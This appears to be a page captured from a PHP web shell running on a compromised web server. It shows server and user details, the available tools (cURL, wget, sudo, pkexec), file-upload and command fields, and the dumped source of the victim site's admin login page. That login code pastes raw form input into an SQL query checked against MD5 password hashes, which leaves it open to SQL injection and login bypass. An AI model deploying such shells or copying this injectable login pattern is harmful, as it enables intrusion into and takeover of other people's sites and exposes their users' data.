SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 52.15.191.241
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/public_html/admin/index.php
<?php
error_reporting(0);
include("../config/data.config.php");
if (isset($_SESSION["SESS_v_adminLoggedIn"]))
{	header ("Location: $MAP_VROOT_FILE_PATH/admin/dashboard.php"); 		
	exit;
}

//echo '<pre>'; print_r( $_SESSION ); echo '</pre>';  exit;
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php");
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
global $SITE_URL, $IMG_DIR; 
$db	= new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN); 
?>

<!DOCTYPE html>
<html>
  <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>RV Way</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="all,follow">
    <!-- Bootstrap CSS-->
    <link rel="stylesheet" href="vendor/bootstrap/css/bootstrap.min.css">
    <!-- Font Awesome CSS-->
    <link rel="stylesheet" href="vendor/font-awesome/css/font-awesome.min.css">
    <!-- Fontastic Custom icon font-->
    <link rel="stylesheet" href="css/fontastic.css">
    <!-- Google fonts - Roboto -->
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700">
    <!-- jQuery Circle-->
    <link rel="stylesheet" href="css/grasp_mobile_progress_circle-1.0.0.min.css">
    <!-- Custom Scrollbar-->
    <link rel="stylesheet" href="vendor/malihu-custom-scrollbar-plugin/jquery.mCustomScrollbar.css">
    <!-- theme stylesheet-->
    <link rel="stylesheet" href="css/style.default.css" id="theme-stylesheet">
    <!-- Custom stylesheet - for your changes-->
    <link rel="stylesheet" href="css/custom.css">
    <!-- Favicon-->
    <!-- Tweaks for older IEs--><!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
        <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
  </head>
  <body>
<?php
if( ( isset( $_POST['submitLogin'] ) ) && ( $_POST['submitLogin'] == 'yes' ) ){
	
     $v_email = $_POST['v_email'];
     $v_password = $_POST['v_password'];
	 $md5v_password  = md5($v_password );

	 
	$sql = "SELECT * FROM  tbl_admin_user WHERE v_email = '$v_email' AND v_password = '$md5v_password' AND c_status = 'L'  " ; 
	$result=$db->query($sql);
	if($result->num_rows) 
	{  
		$row = $result->row;
		
		
		$v_email  = $row['v_email'];
		$v_userName  = $row['v_userName'];
		$v_firstName  = $row['v_firstName'];
		$v_lastName  = $row['v_lastName'];
		$v_phone  = $row['v_phone']; 
		$i_userID  = $row['i_userID'];
		
		
		$_SESSION['SESS_i_userID'] = $i_userID;
		$_SESSION['SESS_v_email'] = $v_email;
		$_SESSION['SESS_v_userName'] = $v_userName;
		$_SESSION['SESS_v_firstName'] = $v_firstName;
		$_SESSION['SESS_v_lastName'] = $v_lastName;
		$_SESSION['SESS_v_phone'] = $v_phone;
		$_SESSION['SESS_v_adminLoggedIn'] = 1;

		header('Location: '.SUB_DIR_PROJECT.'/admin/dashboard.php');
		exit;

	}else{
	    
		$_SESSION['msg'] = '<div class="alert alert-warning" >There is either invalid email or password.</div>';
		header("Location: '.SUB_DIR_PROJECT.'/admin/index.php");
		exit;
	}


}

?>
    <form method="post" role="form" class="text-center" >
    <div class="page login-page">
      <div class="container">
	   <?php  if( isset( $_SESSION['msg']) ){ 
									 
									 echo $_SESSION['msg'];
									 unset( $_SESSION['msg'] );
								  } ?>
        <div class="form-outer text-center  align-items-center">
          <div class="form-inner">
            <div class="logo text-uppercase"><strong class="text-primary">RV Way Admin Login</strong></div>
           
            <form method="get" class="text-left form-validate">
              <div class="form-group-material">
                <input name= "v_email" id="admin_v_email" required data-msg="Please enter your email" class="input-material">
                <label for="login-v_email" class="label-material">Username</label>
              </div>
              <div class="form-group-material">
                <input type="password"  name= "v_password" id="admin_v_password" name="loginPassword" required data-msg="Please enter your password" class="input-material">
                <label for="login-password" class="label-material">Password</label>
              </div>
              <div class="form-group text-center"><button type="submit" name="addAppliedCoupon" class="btn btn-primary">Login</button>
                <!-- This should be submit button but I replaced it with <a> for demo purposes-->
              </div>
			  <input type="hidden" name= "submitLogin" id="submitLogin" value="yes" >
            </form><a href="#" class="">Forgot Password?</a>
          </div>
          <div class="copyrights text-center">
            <p>Design by <a href="#" class="external">Corbsoftware</a></p>
            <!-- Please do not remove the backlink to us unless you support further theme's development at https://bootstrapious.com/donate. It is part of the license conditions. Thank you for understanding :)-->
          </div>
        </div>
      </div>
    </div>
	</form>
    <!-- JavaScript files-->
    <script src="vendor/jquery/jquery.min.js"></script>
    <script src="vendor/popper.js/umd/popper.min.js"> </script>
    <script src="vendor/bootstrap/js/bootstrap.min.js"></script>
    <script src="js/grasp_mobile_progress_circle-1.0.0.min.js"></script>
    <script src="vendor/jquery.cookie/jquery.cookie.js"> </script>
    <script src="vendor/chart.js/Chart.min.js"></script>
    <script src="vendor/jquery-validation/jquery.validate.min.js"></script>
    <script src="vendor/malihu-custom-scrollbar-plugin/jquery.mCustomScrollbar.concat.min.js"></script>
    <!-- Main File-->
    <script src="js/front.js"></script>
  </body>
</html>

Anon7 - 2022
SCDN GOK